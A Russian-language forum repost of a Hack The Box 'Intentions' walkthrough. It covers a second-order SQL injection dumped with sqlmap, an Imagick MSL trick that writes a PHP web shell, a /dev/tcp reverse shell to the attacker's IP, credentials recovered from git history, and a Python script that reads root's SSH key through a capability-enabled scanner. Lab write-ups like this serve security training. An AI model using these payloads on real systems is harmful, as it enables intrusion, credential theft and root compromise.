• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем сложную SQL-инъекцию для дампа базы данных

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня нам с тобой предстоит пройти через череду очень сложных веб‑уязвимостей, проэксплуатировав двухступенчатую SQL-инъекцию и уязвимость в модуле PHP Imagick. Для продвижения изучим Git-репозиторий, а для повышения привилегий напишем читалку файлов через пользовательский сканер.
А поможет нам в этом тренировочная машина Intentions с площадки Hack The Box сложного уровня (hard).

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.220 intentions.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
По результатам сканирования имеем всего два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Nginx 1.18.0. Брутить SSH на машинах с HTB не принято, а на сайте нас встречает форма авторизации и регистрации.

Страница авторизации
Страница авторизации

Точка входа​

Регистрируем нового пользователя и авторизуемся на сайте.

Главная страница авторизованного пользователя
Главная страница авторизованного пользователя
На странице профиля пользователя находим поле, на которое мы можем воздействовать.

Страница профиля пользователя
Страница профиля пользователя
Заглянув в Burp History (а все действия я рекомендую проводить через Burp), обнаружим, что используется API.

История запросов
История запросов
В поле изменения жанра я попробовал вставить нагрузку ' -- - для SQL-инъекции и в ответе получил те же данные, только без пробелов.

Запрос на сервер
Запрос на сервер
Ответ сервера
Ответ сервера
Стоит отметить, что нагрузку мы отправляем к API /api/v1/gallery/user/genres, а проверяем измененные данные через API /api/v1/auth/user.

Точка опоры​


Burp Macro​

Первым делом я решил перебрать разные нагрузки с помощью Burp Intruder. Но сложность в том, что нужно выполнять два запроса — один с нагрузкой, а другой для проверки результата. Тут нам могут помочь макросы, которые задаются через настройки Burp. Переходим к списку правил сессии и создаем новое.

Список правил сессий
Список правил сессий
В открывшемся окне в поле Rule actions создаем новый макрос run post-request macro — то есть выполняемый после основного запроса.

Настройки правила
Настройки правила
Для созданного макроса открываем Editor и выбираем запрос к API: /api/v1/auth/user. Здесь мы получаем текущее значение настроек профиля.

Настройки макроса
Настройки макроса
Подтверждаем — и в окне с настройками созданного правила видим наш макрос.

Настройки правила
Настройки правила
Переходим на вкладку Scope и в параметре URL scope выбираем Include all URLs, чтобы правило применялось абсолютно ко всем запросам.

Настройки правила
Настройки правила
Подтверждаем установленные параметры и видим созданное правило в общем списке правил.

Список правил сессий
Список правил сессий
Теперь переносим запрос к API /api/v1/gallery/user/genres в Burp Intruder. В настройках переходим к опции Grep → Extract и указываем интересующее нас поле, чтобы добавить его содержимое в общую таблицу результатов Intruder.

Burp Intruder — вкладка Positions
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Settings
Burp Intruder — вкладка Settings
Так как мы используем правило с несколькими запросами, перебирать нужно в один поток.

Результат перебора
Результат перебора
Просмотрев результат, я ничего необычного не нашел, кроме того, что мы получаем ошибку при отправке символа ". Таким образом, как бы ни менялось поле жанра, ничего интересного мы не добиваемся.

Немного побродив по сайту, замечаем, что жанр также используется при просмотре галереи. Там выполняется вызов API /api/v1/gallery/user/feed.

Запрос в Burp History
Запрос в Burp History
Мы получаем разные изображения в зависимости от установленного у нас жанра. Этот момент тоже необходимо протестировать, поэтому возвращаемся к нашим правилам и изменяем макрос, чтобы он выполнял запрос к API /api/v1/gallery/user/feed. Для изменения выбираем Re-record macro и отмечаем нужный запрос.

Настройки макроса
Настройки макроса
Macro Recorder
Macro Recorder
После изменения макроса переводим запрос в Burp Repeater и отправляем обычную нагрузку с комментарием для Boolean-based-инъекции test' or 1=1 -- -.

Запрос на сервер
Запрос на сервер
Ответ сервера
Ответ сервера
В ответ получаем ошибку — видимо, из‑за кавычки. Тогда пробуем указать нагрузку без кавычки.

Запрос на сервер
Запрос на сервер
Ответ сервера
Ответ сервера
Запрос обработан, но данные никакие не получаем. Переходим к перебору нагрузок.

SQL-инъекция​

Настраиваем Burp Intruder в один поток, только в этот раз ничего извлекать из ответа не будем, а просто отсортируем результат по размеру ответа.

Burp Intruder — вкладка Positions
Burp Intruder — вкладка Positions
Результат атаки
Результат атаки
И получаем несколько нагрузок, дающих иной результат. Значит, SQL-инъекция возможна, так что переходим к эксплуатации. Сохраним в виде файлов запросы для записи нагрузки и для проверки результата, после чего передадим оба файла в sqlmap, чтобы автоматизировать эксплуатацию. Не забываем активировать шаблон space2comment для обхода фильтра пробелов.

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=space2comment --batch
Результат сканирования sqlmap
Результат сканирования sqlmap
Спустя некоторое время sqlmap определяет и кеширует рабочую нагрузку. Теперь мы можем перейти к получению данных. Сначала выведем список баз данных (параметр --dbs).

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=space2comment --batch --dbs
Существующие базы данных
Существующие базы данных
Нас интересует база intentions, получим из нее (параметр -D) все таблицы (параметр --tables).

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=space2comment --batch -D intentions --tables
Таблицы в базе intentions
Таблицы в базе intentions
Имеем четыре таблицы. В охоте за учетными данными получим все колонки (параметр --columns) таблицы users (параметр -T).

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=space2comment --batch -D intentions -T users --columns
Колонки в таблице users
Колонки в таблице users
Нам нужны данные (параметр --dump) из колонок email и password, а также admin (параметр -C), чтобы понимать, кто из пользователей сайта привилегированный.

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=space2comment --batch -D intentions -T users -C email,password,admin --dump
Данные из таблицы users
Данные из таблицы users
И спустя примерно час получаем учетные данные всех пользователей сайта.

Повышение привилегий​

Использован алгоритм хеширования bcrypt, хеши которого можно перебрать при помощи hashcat вот такой командой:

hashcat -m 3200 -a 0 --username hashes.txt rockyou.txt
Подождав десять минут и не получив результата, я остановил брут. Видимо, такой вектор не предполагался автором машины (все хеши на машинах с Hack The Box перебираются не дольше пяти минут по словарю rockyou.txt).

Я вернулся на веб‑сервер и решил перебрать файлы. Так как уже видели несколько файлов JavaScript в каталоге /js, будем перебирать с этим расширением. Я воспользуюсь для этого feroxbuster.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования;
  • -x — расширение файлов;
  • -s — код ответа.
Запускаем сканирование:

feroxbuster -u [URL]http://intentions.htb/js/[/URL] -t 256 -d 1 -w directory_2.3_medium_lowercase.txt -x js -s 200
Результат сканирования файлов с помощью feroxbuster
Результат сканирования файлов с помощью feroxbuster
Обнаруживаем файл с говорящим названием admin.js. Файл большой, и при попытке найти слова, содержащие строку pass, натыкаемся на интересные сообщения.

Содержимое файла admin.js
Содержимое файла admin.js
В сообщении сказано, что администратор может использовать API v2 и авторизоваться по хешу, а не по паролю. Отправляем из Burp History запрос к API login в Burp Repeater и изменяем версию API с v1 на v2.

Запрос к API /api/v2/auth/login
Запрос к API /api/v2/auth/login
Нам сообщают, что необходимо предоставить параметры email и hash. Используем учетные данные пользователя greg и получаем сообщение об успешной авторизации.

Запрос к API /api/v2/auth/login
Запрос к API /api/v2/auth/login
Применим сессию к браузеру и просмотрим доступные страницы.

Главная страница администратора
Главная страница администратора
Из сообщения «v2 API Update» делаем вывод, что используется класс PHP Для просмотра ссылки Войди или Зарегистрируйся. Я сразу просмотрел, нет ли в нашей версии известных уязвимостей, и поиски привели меня к прошлогоднему Для просмотра ссылки Войди или Зарегистрируйся, найденному командой PT Swarm.

Поиск уязвимостей в Google
Поиск уязвимостей в Google

PHP Imagick RCE​

В статье отмечено наличие SSRF в конструкторе класса Imagick, но, помимо этого, использовав MSL (Magick Scripting Language), можно развить уязвимость до RCE. Это встроенный язык ImageMagick, который облегчает обработку изображений. С его помощью можно в числе прочего взаимодействовать с файловой системой. Это интересно, учитывая, что на нашем сайте есть возможность редактировать изображения.

Страница Images
Страница Images
Пробуем изменить оттенок, после чего просматриваем запрос в Burp History.

Запрос к API /api/v2/admin/image/modify
Запрос к API /api/v2/admin/image/modify
В запросе передается оттенок и путь к файлу картинки. Используя этот запрос и метод из статьи, попробуем передать файл MSL, указывающий на изображение с веб‑шеллом, расположенное на нашем веб‑сервере, а потом попробуем обратиться к такому изображению.

Первым делом создадим изображение с веб‑шеллом.

convert xc:red -set 'Copyright' '<?php system($_GET["a"]); ?>' expl.png
Передавать будем вот таким файлом MSL.

Код:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://10.10.14.42/expl.png" />
<write filename="/var/www/html/intentions/public/expl.php" />
</image>

А теперь нам нужно одновременно запустить два запроса в Burp Intruder. В первом мы будем передавать файл MSL, а во втором — пытаться успеть к нему обратиться, пока он не исчез из временного каталога /tmp.

Запрос с файлом MSL
Запрос с файлом MSL
Запрос к временному файлу
Запрос к временному файлу
Для обоих интрудеров устанавливаем 100–1000 нагрузок с пустой нагрузкой.

Burp Intruder — вкладка Payloads
Burp Intruder — вкладка Payloads
После запуска обоих интрудеров в логах веб‑сервера видим обращение к изображению с нагрузкой.

Логи веб-сервера
Логи веб‑сервера
Содержимое картинки с нагрузкой было получено и сохранено на сервере в файл PHP. Пробуем выполнить команду id.

[URL unfurl="true"]http://intentions.htb/expl.php?a=id[/URL]
Результат выполнения команды id
Результат выполнения команды id
Команды выполняются, а значит, запускаем листенер pwncat-cs -lp 4321 и выполняем реверс‑шелл:

sh -i >& /dev/tcp/10.10.14.42/4321 0>&1
Сессия пользователя www-data
Сессия пользователя www-data

Продвижение​

Так как у нас есть доступ к данным сайта, стоит посмотреть, нет ли в исходниках каких‑нибудь учетных данных.

В каталоге сайта находим директорию .git.

Содержимое каталога /var/www/html/intentions
Содержимое каталога /var/www/html/intentions
Скачав весь репозиторий, мы получим не только текущие файлы, но и историю их изменения. При разработке для удобства очень часто используются статические учетные данные. Поэтому архивируем этот каталог и скачиваем архив с сайта.

tar -cf ./public/arc.tar ./.git/
На локальном хосте разархивируем файл и смотрим историю коммитов с помощью VS Code.

История коммитов
История коммитов
Поочередно просматривая историю изменений, видим удаленную строку с учетными данными.

История изменения файла
История изменения файла
С найденными учетными данными получается авторизоваться по SSH.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Выполняем команду id и узнаём, что наш пользователь числится в группе scanner. Сразу поищем файлы, принадлежащие этой группе.

find / -group scanner -type f 2>/dev/null
Файлы группы scanner
Файлы группы scanner
Нашли один исполняемый файл, который мы не можем получить для изучения, но можем выполнить.

Информация о файле scanner
Информация о файле scanner
Скорее всего, он поможет нам в повышении привилегий, но как именно — пока неясно. Поэтому перейдем к стандартному шагу — автоматическому сканированию системы с помощью PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе LinPEAS обращаем внимание на Linux capabilities.

Linux capabilities
Linux capabilities

Справка: Linux capabilities​

В Linux пользователь root получает особый контекст при запуске любых процессов. Так, ядро и приложения, работающие от имени root, обычно пропускают любые ограничения, заданные на действия в определенном контексте, поэтому root может делать все, что захочет. Но что, если процессу, который работает в непривилегированном контексте, нужно выполнить требующее привилегий действие, не повышая уровня прав?
Например, бывает нужно разрешить процессу записывать в журнал аудита ядра, но не позволять отключить этот аудит. Ведь если запустить этот процесс в контексте рута, он сможет выполнить оба действия!
Тут на помощь и приходят Linux capabilities. Эти «возможности» предоставляют процессу не все множество привилегий, а какое‑то его подмножество. Другими словами, все привилегии рута разбиваются на более мелкие независимые друг от друга привилегии и процесс получает только те, которые ему нужны.
Исполняемый файл /opt/scanner/scanner имеет привилегию cap_dac_read_search, которая позволяет прочитать любой файл в системе. Видимо, доступ к файлам пользователя root — это и есть наш путь для повышения привилегий.

Изучив справку этого сканера, находим интересную возможность приложения: если мы укажем файл для чтения, количество символов и хеш, то программа прочитает из файла указанное количество символов, вычислит хеш MD5 и сравнит с переданным ей вариантом, после чего выдаст результат сравнения.

Так мы можем поочередно перебрать все символы в файле и получить его полное содержимое. Прочитаем первый символ из файла и сравним хеш, который вернет приложение, с хешами всех символов поочередно. Когда хеши равны, можно сказать, что мы нашли первый символ. Зная первый, мы можем перебрать таким же образом второй символ и так далее все содержимое файла.

echo -n t | md5sum

Код:
echo test > /home/greg/file.test
/opt/scanner/scanner -c /home/greg/file.test -l 1 -s e358efa489f58062f10dd7316b65649e -p
Проверка теории
Проверка теории
Первым делом нужно определить, какой файл читать. Передаем сканеру путь к приватному ключу SSH пользователя root и узнаём, что такой файл существует.

Результат работы программы
Результат работы программы
Я реализовал наш сценарий расшифровки в виде простенького скрипта на Python и получил приватный ключ.

i
Код:
mport hashlib
import os
import string

content = ""
length = 1
while True:
   cmd = f"/opt/scanner/scanner -c /root/.ssh/id_rsa -l {length} -s 111 -p"
   hash = os.popen(cmd).read().split(" ")[-1].rstrip()

   char = None
   for c in string.printable:
       if hash == hashlib.md5((content + c).encode()).hexdigest():
           char = c
           break

   if char:
       print(char, end="")
       content += char
       length += 1
   else:
       break

Приватный ключ пользователя
Приватный ключ пользователя
Сохраняем ключ в файл, командой chmod 0600 id_rsa назначаем нужные права и подключаемся по SSH от имени рута.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу